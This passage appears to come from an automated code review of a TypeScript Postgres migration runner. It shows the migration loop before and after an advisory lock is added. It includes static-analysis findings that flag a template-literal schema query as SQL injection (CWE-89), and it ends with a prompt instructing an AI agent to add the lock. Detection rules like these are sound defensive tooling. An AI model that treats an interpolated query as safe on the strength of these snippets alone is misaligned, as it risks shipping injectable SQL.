	logger?.info({ migration: file }, "postgres migration started");
	const client = await pool.connect();
	try {
	await client.query("begin");
	await client.query(readFileSync(new URL(file, migrationDirectory), "utf8"));
	await client.query("insert into runtime_migrations (name, applied_at) values ($1, $2)", [
	file,
	new Date().toISOString(),
	]);
	await client.query("commit");
	} catch (error) {
	await client.query("rollback").catch(() => {});
	logger?.error(
	{ migration: file, durationMs: Date.now() - migrationStartedAt, err: error },
	"postgres migration failed",
	);
	throw error;
	} finally {
	client.release();
	}
	applied.add(file);
	newlyAppliedCount += 1;
	logger?.info({ migration: file, durationMs: Date.now() - migrationStartedAt }, "postgres migration completed");
	}
	export async function runPostgresMigrations(
	pool: Pool,
	schema: string = defaultSchema,
	logger?: RuntimeLogger,
	): Promise<void> {
	const startedAt = Date.now();
	// Explicitly qualified: `search_path` cannot resolve a schema that does not exist yet,
	// and every statement after this one relies on it existing.
	await pool.query(`create schema if not exists "${assertValidSchemaName(schema)}";`);
	await pool.query(`
	create table if not exists runtime_migrations (
	name text primary key,
	applied_at text not null
	);
	`);
	const appliedResult = await pool.query<{ name: string }>("select name from runtime_migrations");
	const applied = new Set(appliedResult.rows.map((row) => row.name));
	const migrationFiles = readdirSync(migrationDirectory)
	.filter((name) => /^\d+_.*\.sql$/.test(name))
	.sort();
	let newlyAppliedCount = 0;
	for (const file of migrationFiles) {
	if (applied.has(file)) {
	continue;
	}
	const migrationStartedAt = Date.now();
	logger?.info({ migration: file }, "postgres migration started");
	const client = await pool.connect();
	try {
	await client.query("begin");
	// Held until commit/rollback. A second process blocks here instead of
	// applying the same file and failing on the runtime_migrations key.
	await client.query("select pg_advisory_xact_lock(hashtext($1))", ["open_connector_migrations"]);
	const { rowCount } = await client.query("select 1 from runtime_migrations where name = $1", [file]);
	if (rowCount) {
	await client.query("commit");
	applied.add(file);
	continue;
	}
	await client.query(readFileSync(new URL(file, migrationDirectory), "utf8"));
	await client.query("insert into runtime_migrations (name, applied_at) values ($1, $2)", [
	file,
	new Date().toISOString(),
	]);
	await client.query("commit");
	} catch (error) {
	await client.query("rollback").catch(() => {});
	logger?.error(
	{ migration: file, durationMs: Date.now() - migrationStartedAt, err: error },
	"postgres migration failed",
	);
	throw error;
	} finally {
	client.release();
	}
	applied.add(file);
	newlyAppliedCount += 1;
	logger?.info({ migration: file, durationMs: Date.now() - migrationStartedAt }, "postgres migration completed");
	}

🧰 Tools

🪛 ast-grep (0.45.0)

[error] 262-262: Avoid SQL injection
Context: pool.query(create schema if not exists "${assertValidSchemaName(schema)}";)
Note: [CWE-89] Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').

(sql-injection-typescript)

🪛 OpenGrep (1.26.0)

[ERROR] 263-263: SQL query built via string concatenation or template literal passed to query()/execute(). Use parameterized queries instead.

(coderabbit.sql-injection.raw-query-concat-js)

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/server/storage/postgres-runtime-store.ts` around lines 255 - 308, Update
runPostgresMigrations to acquire a transaction-scoped PostgreSQL advisory lock
before reading runtime_migrations and applying any files, using a stable lock
key for this migration set. Hold the lock for the entire migration run and
release it automatically when the transaction ends, while preserving the
existing per-migration transactions and error handling.